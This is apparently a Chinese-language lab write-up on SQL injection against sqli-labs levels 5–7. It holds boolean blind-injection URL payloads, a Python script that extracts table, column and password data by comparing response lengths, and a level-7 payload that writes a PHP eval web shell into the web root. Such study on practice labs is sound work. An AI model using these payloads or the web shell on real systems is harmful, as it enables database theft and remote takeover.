SQL注入基础学习2
二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)
靶场采用sqli-labs
5、第5关(也可以直接利用bp来测试)
第五关采用的是布尔盲注,通过输入正确的信息和错误的信息对比
输入正确的信息
输入错误的信息
但是输入'
后,页面存在报错信息,说明存在注入漏洞
这一关可以用布尔盲注或者报错注入,此处采用布尔盲注。先了解一下布尔盲注。
布尔盲注
-
定义:在页面中不会显示数据库信息,一般情况下只会显示对与错的内容
-
布尔型注入攻击:用到的SQL语句
select if(1=1,1,0)
,if()函数在mysql中是判断,1=1是参数表达式,可以替换成任何构造的sql攻击语句,如果该语句成立,则返回1,如果不成立,则返回0。 -
攻击中常用到的函数:
判断函数: if(1=1,1,0) 截取函数: substr(str, pos, len)其中,str是截取的字符串,pos是起始位数,len是截取长度,与该函数类似的函数是mid(),用法相同 长度函数: length(),常用于获取数据库名,字段名等的长度利用手工测试:
利用手工测试第五关:
/*获取数据库的长度*/
http://8.130.109.21:9999/Less-5/?id=1' and if(length(database())={},1,0)--+
/*{}处用数字替换,从1开始,知道页面显示正常,则长度就为此时的数字*/
/*获取数据库的名字*/
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr(database(),{},1))={}--+
/*第一个{}处用数字替换,从1开始,然后输入第二处{},此时输入的是ascii值,利用substr截取,每次测试一个,知道页面正确,在从第一处{}输入下一个数字开始*/
/*获取数据库中表的个数*/
http://8.130.109.21:9999/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())={}--+
/*获取数据库中表的长度、名称*/
http://8.130.109.21:9999/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={}--+
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={}--+
/*获取表中字段的个数*/
http://8.130.109.21:9999/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='表名')={}--+
/*获取表中字段的长度、名称*/
http://8.130.109.21:9999/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_name='表名' limit {},1)={}--+
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit {},1),{},1))={}--+
/*字段中内容的个数*/
http://8.130.109.21:9999/Less-5/?id=1' and (select count(表中的字段名) from users)={}--+
/*字段的信息*/
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr((select {} from 表名 limit {},1),{},1))={}--+
手工测试按照思路,我们可以写一个python
脚本来帮我们每个测试
首先分析页面正确的特征值,页面正确的话,用bp抓包,看返回的长度,都是704,可以将此作为特征值来判断
python
脚本如下
import requests
header = {
'Cookie': 'security_level=0; '
'BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
baseurl = 'http://8.130.109.21:9999/Less-5/?id='
# 获取数据库的长度
def get_database_name_length() -> int:
count = 0
for i in range(40):
url = baseurl + "1' and if(length(database())={},1,0)--+".format(i)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print("数据库的长度为:{}".format(i))
count = i
break
return count
# 获取数据库名字
def get_database_name(count):
print("数据库的名字为:", end='')
for i in range(count + 1):
for j in range(33, 127):
url = baseurl + "1' and ascii(substr(database(),{},1))={}--+".format(
i, j)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
# print("数据库的名字为")
print(chr(j), end='')
break
# 获取当前数据库中表的个数
def get_table_count() -> int:
count = 0
for i in range(40):
url = baseurl + "1' and (select count(table_name) from information_schema.tables where " \
"table_schema=database())={}--+".format(i)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print("数据库的表的个数为:{}".format(i))
count = i
break
return count
# 获取每个表名的长度
def get_each_table_length(count):
for i in range(count + 1):
for j in range(100):
url = baseurl + "1' and (select length(table_name) from information_schema.tables where " \
"table_schema=database() limit {},1)={}--+".format(i, j)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print("=" * 20)
print("第{}张表名的长度为{}".format(i + 1, j))
print("第{}张表名为: ".format(i + 1), end='')
get_each_table_name(i, j)
print("\n")
break
# 获取表名
def get_each_table_name(index, count):
for i in range(count + 1):
# print("第{}张表名: ".format(i + 1),end='')
for j in range(33, 127):
url = baseurl + "1' and ascii(substr((select table_name from information_schema.tables where " \
"table_schema=database() limit {},1),{},1))={}--+".format(index,
i, j)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print(chr(j), end='')
# 查询表中的字段个数
def get_column_count() -> int:
count = 0
table_name = input("输入要查询的表名:")
for i in range(40):
url = baseurl + "1' and (select count(column_name) from information_schema.columns where " \
"table_name='{}')={}--+".format(table_name, i)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print("{}表中的字段个数为:{}".format(table_name, i))
count = i
break
return count
# 查询每个字段的长度
def get_each_column_length(count):
for i in range(count):
for j in range(100):
url = baseurl + "1' and (select length(column_name) from information_schema.columns where " \
"table_name='users' limit {},1)={}--+".format(i, j)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print("=" * 20)
print("第{}列列名的长度为{}".format(i + 1, j))
print("第{}列列名为:".format(i + 1), end='')
get_each_column_name(i, j)
print("\n")
break
# 获取列名
def get_each_column_name(index, count):
for i in range(count + 1):
for j in range(33, 127):
url = baseurl + "1' and ascii(substr((select column_name from information_schema.columns where " \
"table_name='users' limit {},1),{},1))={}--+".format(index, i,
j)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print(chr(j), end='')
break
# 获取该列数据的个数
def get_each_column_count() -> int:
count = 0
for i in range(100):
url = baseurl + "1' and (select count(password) from users)={}--+".format(
i)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print("列中的个数为:{}".format(i))
count = i
break
return count
# 获取某列每个数据的长度
def get_each_column_count_length(count):
name1 = input("输入字段名:")
for i in range(count):
for j in range(100):
url = baseurl + "1' and (select length({}) from users limit {},1)={}--+".format(
name1, i, j)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print("=" * 20)
print("第{}行数据长度为:{}".format(i + 1, j))
print("第{}行值为:".format(i + 1),end='')
get_each_column_count_name(i, j, name1)
print("\n")
break
# 获取列中的每个数据的名字
def get_each_column_count_name(index, count, name):
for i in range(count + 1):
for j in range(33, 127):
url = baseurl + "1' and ascii(substr((select {} from users limit {},1),{},1))={}--+".format(name, index, i, j)
response = requests.get(url, headers=header)
response_len = len(response.content)
if response_len == 704:
print(chr(j), end='')
break
if __name__ == '__main__':
# get_database_name_length()
# get_database_name(get_database_name_length())
# get_table_count()
# get_each_table_length(get_table_count())
# get_column_count()
# get_each_column_length(get_column_count())
# get_each_column_count()
get_each_column_count_length(get_each_column_count())
查看运行结果:
数据库的长度以及数据库名
查看数据库中表
6、第6关
第六关经过测试,和第五关一样,只是闭合方式由单引号变成双引号,代码可以用上一关的稍加修改
或者用bp字典来爆破
7、第7关
-
sql文件上传,先输出一下代码,看数据库是否有文件读写权限
show variables like '%secure%'
此时文件有读写权限
-
测试注入点,
’))
方式闭合,然后利用布尔盲注测试字段数,字段数为3,构造恶意代码id=1')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "/var/www/html/test/test.php"--+
此时页面虽然报错,但是可以去靶场后台测试时候传入
-
靶场后台查询文件
-
蚁剑连接